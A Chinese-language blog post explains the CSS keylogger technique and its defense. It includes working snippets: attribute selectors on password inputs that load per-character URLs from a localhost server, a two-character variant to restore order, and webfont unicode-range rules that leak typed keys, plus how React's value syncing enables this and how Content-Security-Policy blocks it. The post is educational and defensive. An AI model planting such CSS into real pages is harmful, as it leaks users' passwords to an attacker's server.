前言
前阵子在 Hacker News 上面看到这篇:Show HN: A CSS Keylogger,大开眼界,决定要找个时间好好来研究一下,并且写一篇文章分享给大家。
这篇会讲到以下东西:
- 什麽是 keylogger
- CSS keylogger 的原理
- CSS keylogger 与 React
- 防御方法
好,那就让我们开始吧!
Keylogger 是什麽?
Keylogger 就是键盘侧录,是恶意程式的一种,拿来记录你电脑上面所有按过的按键。还记得我小时候曾经用 VB6 写了一个超简单的 keylogger,只要呼叫系统提供的 API 并且记录相对应的按键就好。
在电脑上面被装这个的话,就等于你输入的任何东西都被记录起来。当然,也包含了帐号跟密码。不过如果我没记错,防毒软体的行为侦测应该可以把这些都挡掉,所以也不用太过担心。
刚刚讲的是在电脑上面,现在我们把范围缩小,侷限在网页。
如果你要在页面上加一个 keylogger,通常会利用 JavaScript 来达成,而且程式码超级简单:
document.addEventListener('keydown', e => {
console.log(e.key)
})
只要侦测keydown
事件并且抓出按下的 key 就行了。
不过假如你有能力在你想入侵的网页上面加入 JavaScript 的话,通常也不需要这麽麻烦去记录每个按键,你直接把 Cookie 偷走、窜改页面、导到钓鱼页面,或者是在 submit 的时候把帐号密码回传给自己的 Server 就好,所以 keylogger 显得不是那麽有用。
好,那假设我们现在没办法插入恶意的 JavaScript,只能改 CSS,有办法用纯 CSS 做出一个 keylogger 吗?
有,毕竟 CSS 能做的事情可多了。
纯 CSS keylogger 的原理
直接看程式码你就懂了(取自:maxchehab/CSS-Keylogging):
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
神奇吧!
如果你不熟悉 CSS selector,这边帮你複习一下。上面那段意思就是说如果 type 是 password 的 input,value 以 a 结尾的话,背景图就载入http://localhost:3000/a
。
现在我们可以把这串 CSS 改一下,新增大小写英文字母、数字甚至是特殊符号,接着会发生什麽事呢?
如果我输入 abc123,浏览器就会发送 Request 到:
- http://localhost:3000/a
- http://localhost:3000/b
- http://localhost:3000/c
- http://localhost:3000/1
- http://localhost:3000/2
- http://localhost:3000/3
就这样,你的密码就完全被攻击者给掌握了。
这就是 CSS keylogger 的原理,利用 CSS Selector 搭配载入不同的网址,就能够把密码的每一个字元发送到 Server 去。
看起来很可怕对吧,别怕,其实没那麽容易。
CSS keylogger 的限制
不能保证顺序
虽然你输入的时候是按照顺序输入的,但 Request 抵达后端的时候并不能保证顺序,所以有时候顺序会乱掉。例如说 abc123 变成 bca213 之类的。
但如果我们把 CSS Selector 改一下的话,其实就能解决这个问题:
input[value^="a"] {
background-image: url("http://localhost:3000/a_");
}
input[value*="aa"] {
background-image: url("http://localhost:3000/aa");
}
input[value*="ab"] {
background-image: url("http://localhost:3000/ab");
}
如果开头是 a,我们就送出a_
,接着针对 26 个字母跟数字的排列组合每两个字元送出一个 request,例如说:abc123,就会是:
- a_
- ab
- bc
- c1
- 12
- 23
就算顺序乱掉,透过这种关係你把字母重新组合起来,还是可以得到正确的密码顺序。
重複字元不会送出 Request
因为载入的网址一样,所以重複的字元就不会再载入图片,不会发送新的 Request。这个问题目前据我所知应该是解不掉。
在输入的时候,其实 value 不会变
这个其实是 CSS Keylogger 最大的问题。
当你在 input 输入资讯的时候,其实 input 的 value 是不会变的,所以上面讲的那些完全不管用。你可以自己试试看就知道了,input 的内容会变,但是你用 dev tool 看的话,会发现 value 完全不会变。
针对这个问题,有两个解决方案,第一个是利用 Webfont:
<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
(程式码取自:Keylogger using webfont with single character unicode-range)
value 不会跟着变又怎样,字体总会用到了吧!只要每打一个字,就会送出相对应的 Request。
但这个方法的侷限有两个:
- 没办法保证顺序,一样也没办法解决重複字元的问题
- 如果栏位是
<input type='password' />
,就没有用
(在研究第二个侷限的时候发现一件有趣的事,由于 Chrome 跟 Firefox 会把「页面上有 type 是 password 的 input,但是又没用 HTTPS」的网站标示为不安全,所以有人研究出用普通 input 搭配特殊字体来躲过这个侦测,并且让输入框看起来像是 password(但其实 type 不是 password),在这种情形下就可以用 Webfont 来攻击了)
再来我们看第二种解决方案,刚刚有说到这个问题的症结点在于 value 不会变,换句话说,如果你 input 输入值的时候,value 会跟着变的话,这个攻击手法就很用了。
嗯...有没有一种很熟悉的感觉。
class NameForm extends React.Component {
constructor(props) {
super(props);
this.state = {value: ''};
this.handleChange = this.handleChange.bind(this);
}
handleChange(event) {
this.setState({value: event.target.value});
}
render() {
return (
<form>
<label>
Name:
<input type="text" value={this.state.value} onChange={this.handleChange} />
</label>
</form>
);
}
}
(以上程式码改写自React 官网)
如果你用过 React 的话,应该会很熟悉这个模式。你在输入任何东西的时候,会先改变 state,再把 state 的值对应到 input 的 value 去。因此你输入什麽,value 就会是什麽。
React 是超夯的前端 Library,可以想像有一大堆网页都是用 React 做的,而且只要是 React,几乎就能保证 input 的 value 一定会同步更新(几乎啦,但应该还是有少数没有遵循这个规则)。
在这边先做个总结,只要你 input 的 value 会对应到裡面的值(假如你用 React,几乎一定会这样写),并且有地方可以让别人塞入自订的 CSS 的话,就能成功实作出 CSS Keylogger。虽然有些缺陷(没办法侦测重複字元),但概念上是可行的,只是精准度没那麽高。
React 的回应
React 的社群也有针对这一个问题进行讨论,都在 Stop syncing value attribute for controlled inputs #11896 这个 Issue 裡。
事实上,让 input 的 value 跟输入的值同步这件事情一直都会有一些 bug,以前甚至发生了知名流量分析网站 Mixpanel 不小心记录敏感资讯的事件,而最根本的原因就是因为 React 会一直同步更新 value。
Issue 的讨论满值得一看的,裡面有提到大家常搞溷的一件事情:Input 的 attributes 跟 properties。我找到 Stackover flow 上面一篇不错的解释:What is the difference between properties and attributes in HTML?
attributes 基本上就是你 HTML 上面的那个东西,而 properties 代表的是实际的 value,两个不一定会相等,举例来说:
<input id="the-input" type="text" value="Name:">
假如你今天抓这个 input 的 attribute,你会得到Name:
,但如果你今天抓 input 的 value,你会得到目前在输入框裡面的值。所以其实这个 attribute 就跟我们常用的 defaultValue
是一样的意思,就是预设值。
不过在 React 裡面,他会把 attribute 跟 value 同步,所以你 value 是什麽,attribute 就会是什麽。
从讨论看起来,在 React 17 满有机会把这个机制拿掉,让这两者不再同步。
防御方法
上面讲了这麽多,因为现今 React 还没把这个改掉,所以问题还是存在着。而且其实除了 React,也可能有别的 Library 做了差不多的事情。
Client 端的防御方法我就不提了,基本就是装一些别人写好的 Chrome Extension,可以帮你侦测符合模式的 CSS 之类的,这边比较值得提的是 Server 端的防御。
目前看起来最一劳永逸的解决方案就是 Content-Security-Policy,简而言之它是一个 HTTP Response 的 header,用来决定浏览器可以载入哪些资源,例如说禁止 inline 程式码、只能载入同个 domain 下的资源之类的。
这个 Header 的初衷就是为了防止 XSS 以及攻击者载入外部的恶意程式码(例如说我们这个 CSS keylogger)。想知道更详细的用法可以参考这篇:Content-Security-Policy - HTTP Headers 的资安议题 (2)
总结
不得不说,这个手法真的很有趣!之前第一次看到的时候也惊叹了好一阵子,居然能发现这样子的纯 CSS Keylogger。虽然技术上是可行的,但在实作上还是会碰到许多困难之处,而且要符合满多前提才能做这样子的攻击,不过还是很值得关注后续的发展。
总之呢,这篇文就是想介绍这个东西给读者们,希望大家有所收穫。
参考资料
- Keylogger using webfont with single character unicode-range #24
- Stop syncing value attribute for controlled inputs #11896
- maxchehab/CSS-Keylogging
- Content-Security-Policy - HTTP Headers 的资安议题 (2)
- Stealing Data With CSS: Attack and Defense
- Bypassing Browser Security Warnings with Pseudo Password Fields
- CSS Keylogger (and why you shouldn’t worry about it)
- Mixpanel JS library has been harvesting passwords